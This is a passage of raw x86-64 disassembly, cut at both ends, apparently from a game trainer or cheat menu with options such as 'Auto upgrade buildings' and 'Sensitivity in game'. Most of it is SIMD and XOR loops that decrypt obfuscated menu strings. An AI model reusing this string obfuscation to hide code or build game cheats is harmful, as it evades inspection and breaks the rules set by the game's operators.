psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14006ac70
lea rdx, [0x1400b4a8f]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006accd
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006aced
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006aced
lea rcx, str.Auto_upgrade_buildings
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006aee9
lea rdx, [rbp + 0x1a40]
mov byte [rbp - 0x45], 0
lea rcx, [rbp - 0x45]
call fcn.140087ea0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x14006aeb1
mov r8d, edi
cmp esi, 2
jl 0x14006ae79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x14006ad70
cmp r8d, 0x1c
jge 0x14006aeb1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x14006ae80
lea rdx, [0x1400b4a8f]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x14006aee9
cmp byte [0x1400aef77], 1
jne 0x14006aee9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006aee9
lea rcx, [0x14009ffe0]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006b0c4
lea rdx, [rbp + 0x4b8]
mov byte [rbp - 0x44], 0
lea rcx, [rbp - 0x44]
call fcn.140087ed0
mov r10, rax
cmp byte [rax + 7], 0
je 0x14006b063
mov r8d, edi
cmp esi, 2
jl 0x14006b02a
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x14006b063
mov r9, r10
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006b030
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, str.Default_upgrade
mov rcx, r10
lea rdx, [0x1400aef6c]
call fcn.140044700
cmp byte [0x1400ae053], 1
jne 0x14006b0a4
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006b0c4
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006b0c4
lea rcx, str.UpgradeType
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006b2ce
lea rdx, [rbp + 0x1740]
mov byte [rbp - 0x43], 0
lea rcx, [rbp - 0x43]
call fcn.140087ee0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14006b281
mov r8d, edi
cmp esi, 2
jl 0x14006b249
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006b140
cmp r8d, 0x13
jge 0x14006b281
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14006b250
mov r9d, 2
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x1400ae2f0]
mov rcx, r10
lea rdx, [0x1400aef6c]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006b2ce
cmp byte [0x1400aef77], 1
jne 0x14006b2ce
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006b2ce
lea rcx, [0x1400a0020]
call fcn.1400161e0
cmp dword [0x1400aef6c], 0
jne 0x14006b58b
cmp byte [0x1400ae053], 0
je 0x14006b387
lea rdx, [rbp + 0x620]
mov byte [rbp - 0x42], 0
lea rcx, [rbp - 0x42]
call fcn.140087f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006b329
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov r9d, ebx
mov dword [rsp + 0x20], 0xffffffff
lea r8, str.Wood
mov rcx, rax
lea rdx, [0x1400af010]
call fcn.140044700
cmp byte [0x1400ae053], 1
jne 0x14006b367
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006b387
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006b387
lea rcx, str.Meterial
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14006b58b
lea rdx, [rbp + 0x15a8]
mov byte [rbp - 0x41], 0
lea rcx, [rbp - 0x41]
call fcn.140087f30
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006b541
mov r8d, edi
cmp esi, 2
jl 0x14006b509
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006b400
cmp r8d, 0x11
jge 0x14006b541
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006b510
mov r9d, ebx
mov dword [rsp + 0x20], 0xffffffff
lea r8, [0x1400ae248]
mov rcx, r10
lea rdx, [0x1400af010]
call fcn.140044700
cmp byte [0x1400aeff4], 1
jne 0x14006b58b
cmp byte [0x1400aef77], 1
jne 0x14006b58b
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006b58b
lea rcx, [0x1400a0050]
call fcn.1400161e0
call fcn.14000d0d0
movss xmm0, dword [0x1400a2084]
movaps xmm1, xmm12
call fcn.1400151e0
lea rdx, [rbp + 0x250]
mov byte [rbp - 0x40], 0
lea rcx, [rbp - 0x40]
call fcn.140087f50
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x14006b5dc
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor al, 0x37
mov byte [rbx + 6], al
movss xmm2, dword [0x1400a207c]
lea rcx, [rbp + 0x4c0]
movss xmm1, dword [0x1400a2080]
call fcn.140002fe0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14000d070
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2010]
movaps xmm1, xmm12
call fcn.1400151e0
call fcn.140058980
call fcn.14005da50
cmp byte [0x1400ae053], 0
je 0x14006b850
mov edx, 0x23
mov byte [rbp - 0x3f], 0
lea rcx, [rbp + 0xd80]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xd90]
call fcn.14002a680
lea rdx, [rbp + 0x15c0]
lea rcx, [rbp - 0x3f]
call fcn.140087f80
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006b821
mov r8d, edi
cmp esi, 2
jl 0x14006b7e9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006b6e0
cmp r8d, 0x11
jge 0x14006b821
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006b7f0
mov rdx, r10
lea rcx, [rbp + 0xd90]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14006b850
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14006b857
mov byte [0x1400aef77], 0
jmp 0x14006ba50
movzx eax, byte [0x1400aef77]
test al, al
je 0x14006ba50
mov edx, 0x23
mov byte [rbp - 0x3e], 0
lea rcx, [rbp + 0xda0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xdb0]
call fcn.14002a680
lea rdx, [rbp + 0x2288]
lea rcx, [rbp - 0x3e]
call fcn.140087fa0
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x14006ba41
mov r8d, edi
cmp esi, 2
jl 0x14006ba09
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14006b900
cmp r8d, 0x22
jge 0x14006ba41
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14006ba10
mov rdx, r10
lea rcx, [rbp + 0xdb0]
call fcn.1400403e0
lea rdx, [rbp + 0x198]
mov byte [rbp - 0x3d], 0
lea rcx, [rbp - 0x3d]
mov byte [rbp - 0x3c], 0
call fcn.140088000
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14006ba8b
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
lea rdx, [rbp + 0x980]
lea rcx, [rbp - 0x3c]
call fcn.140087fd0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14006bc01
mov r8d, edi
cmp esi, 2
jl 0x14006bbc4
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14006bbd0
movss xmm3, dword [0x1400a1f48]
lea rdx, [0x1400ae270]
mov dword [rsp + 0x28], edi
movaps xmm2, xmm9
mov rcx, r10
mov qword [rsp + 0x20], rbx
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x14006bc6e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006bc45
lea rcx, str.Sensitivity_in_game
call fcn.1400161e0
cmp byte [0x1400aeff4], 1
jne 0x14006bc6e
cmp byte [0x1400aef77], 1
jne 0x14006bc6e
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006bc6e
lea rcx, [0x1400a0098]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006be8e
mov edx, 0x23
mov byte [rbp - 0x3b], 0
lea rcx, [rbp + 0xdc0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xdd0]
call fcn.14002a680
lea rdx, [rbp + 0x1890]
lea rcx, [rbp - 0x3b]
call fcn.140088020
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14006be61
mov r8d, edi
cmp esi, 2
jl 0x14006be29
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14006bd20
cmp r8d, 0x17
jge 0x14006be61
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14006be30
mov rdx, r10
lea rcx, [rbp + 0xdd0]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x14006be8e
cmp byte [0x1400aef77], 1
jne 0x14006be8e
mov byte [0x1400aef77], 0
jmp 0x14006c090
cmp byte [0x1400aef77], 0
je 0x14006c090
mov edx, 0x23
mov byte [rbp - 0x3a], 0
lea rcx, [rbp + 0xde0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xdf0]
call fcn.14002a680
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp - 0x3a]
call fcn.140088050
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x14006c081
mov r8d, edi
cmp esi, 2
jl 0x14006c049
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
